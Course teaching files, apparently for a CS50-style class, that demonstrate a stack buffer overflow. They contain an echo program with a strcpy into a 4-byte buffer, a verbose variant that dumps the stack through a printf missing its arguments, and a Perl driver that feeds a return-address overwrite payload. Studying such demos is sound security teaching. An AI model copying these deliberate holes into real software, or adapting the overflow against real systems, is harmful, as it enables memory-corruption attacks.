

```
1: /*
2:  * eco.c
3:  *
4:  * Mike Smith
5:  *
6:  * h4cked by Jason Gao '10
7:  *
8:  * This program is an UNSAFE implementation of our echo program. It
9:  * assumes that all strings on the command line are smaller than 4
10: * characters in length. Obviously, this is a bad assumption, and
11: * thus we can use it to demonstrate the simplicity of a static buffer
12: * overrun attack.
13: *
14: * If you run the program with the following perl-formatted input, it
15: * will return to the function gotcha instead of main.
16: *
17: * "1234" . "\xb8\xf5\xff\xbf" . "\xb4\x84\x04\x08";
18: */
19:
20: #include <stdio.h>
21: #include <stdlib.h>
22: #include <string.h>
23:
24: #define MAX_BUF_SIZE 4
25:
26:
27: void
28: gotcha()
29: {
30:     printf("\nGotcha!\n");
31:     exit(1); /* required because we destroy the caller's base pointer */
32: }
33:
34:
35: void
36: echo_arg(const char s[])
37: {
38:     char buf[MAX_BUF_SIZE];
39:     strcpy(buf, s);
40:     printf("%s ", buf);
41: }
42:
43:
44: int
45: main(int argc, char * argv[])
46: {
47:     int i;
48:     for (i = 1; i < argc; i++)
49:         echo_arg(argv[i]);
50:     printf("\n");
51:
52:     return 0;
53: }
54:
```

```
1: #!/usr/bin/perl
2:
3: ##
4: ## hack.pl
5: ##
6: ## Mike Smith
7: ##
8: ## h4cked by Jason Gao '10
9: ##
10:
11: ## dangerous on nice.fas!
12: $arg = "1234" . "\xb8\x55\xff\xbf" . "\xb4\x84\x04\x08";
13:
14: ## safe argument
15: # $arg = "ls -l foo";
16:
17: system($ARGV[0] . " " . $arg);
18:
```

```
1: ##
2: ## Makefile
3: ##
4: ## Mike Smith
5: ##
6:
7: CC      = gcc
8: DEBUG   = -g -ansi -W -Wall -pedantic
9: INCLUDES= -I$(CS50_INC)
10: LIB     = -L$(CS50_LIB) -lcs50
11: CFLAGS  = $(DEBUG) $(INCLUDES)
12: LDFLAGS = $(LIB)
13:
14: all:    eco smash
15:
16: clean:
17:        /bin/rm -f eco smash *.o *~
18:
19: ## end of Makefile
20:
```

```
1: /*
2:  * smash.c
3:  *
4:  * Mike Smith
5:  *
6:  * h4cked by Jason Gao '10
7:  *
8:  * This program is a verbose version of our unsafe eco.c.
9:  *
10:  * If you run the program with the following perl-formatted input, it
11:  * will return to the function gotcha instead of main.
12:  *
13:  * "1234" . "\xb8\xf5\xff\xbf" . "\xb4\x84\x04\x08";
14:  */
15:
16: #include <stdio.h>
17: #include <stdlib.h>
18: #include <string.h>
19:
20: #define MAX_BUF_SIZE 4
21:
22:
23: void
24: gotcha()
25: {
26:     printf("\nGotcha!\n");
27:
28:     exit(1); /* required because we destroy the caller's base pointer */
29: }
30:
31:
32: void
33: echo_arg(const char s[])
34: {
35:     char buf[MAX_BUF_SIZE];
36:
37:     /* Another cheap and dirty trick: This printf call says that there
38:      * are parameters on the stack, but there aren't. What happens is
39:      * we interpret the other locations on the stack as the parameters
40:      * to printf. The result is that we get to see what is on the
41:      * stack of the caller of printf. */
42:     printf("\nContents of echo_arg's stack BEFORE strcpy:\n"
43:           "0x%08x -- garbage\n"
44:           "0x%08x -- garbage\n"
45:           "0x%08x -- garbage\n"
46:           "0x%08x -- garbage\n"
47:           "0x%08x -- initial contents of buf\n"
48:           "0x%08x -- contents of EBP in main\n"
49:           "0x%08x -- return address for call to echo_arg\n"
50:           "0x%08x -- address of string passed to echo_arg\n");
51:
52:     strcpy(buf, s);
53:
54:     printf("\nContents of echo_arg's stack AFTER strcpy:\n"
55:           "0x%08x -- garbage\n"
56:           "0x%08x -- garbage\n"
57:           "0x%08x -- garbage\n"
58:           "0x%08x -- garbage\n"
59:           "0x%08x -- final contents of buf\n"
60:           "0x%08x -- contents of EBP in main\n"
61:           "0x%08x -- return address for call to echo_arg\n"
62:           "0x%08x -- address of string passed to echo_arg\n\n");
63:
64:     printf("%s ", buf);
```

```
65: }
66:
67:
68: int
69: main(int argc, char * argv[])
70: {
71:     int i;
72:     printf("Start address of main is 0x%08x\n",
73:           (unsigned int)main);
74:     printf("Start address of gotcha is 0x%08x\n",
75:           (unsigned int)gotcha);
76:
77:     for (i = 1; i < argc; i++) {
78:         echo_arg(argv[i]);
79:     }
80:     printf("\n");
81:
82:     return 0;
83: }
84:
```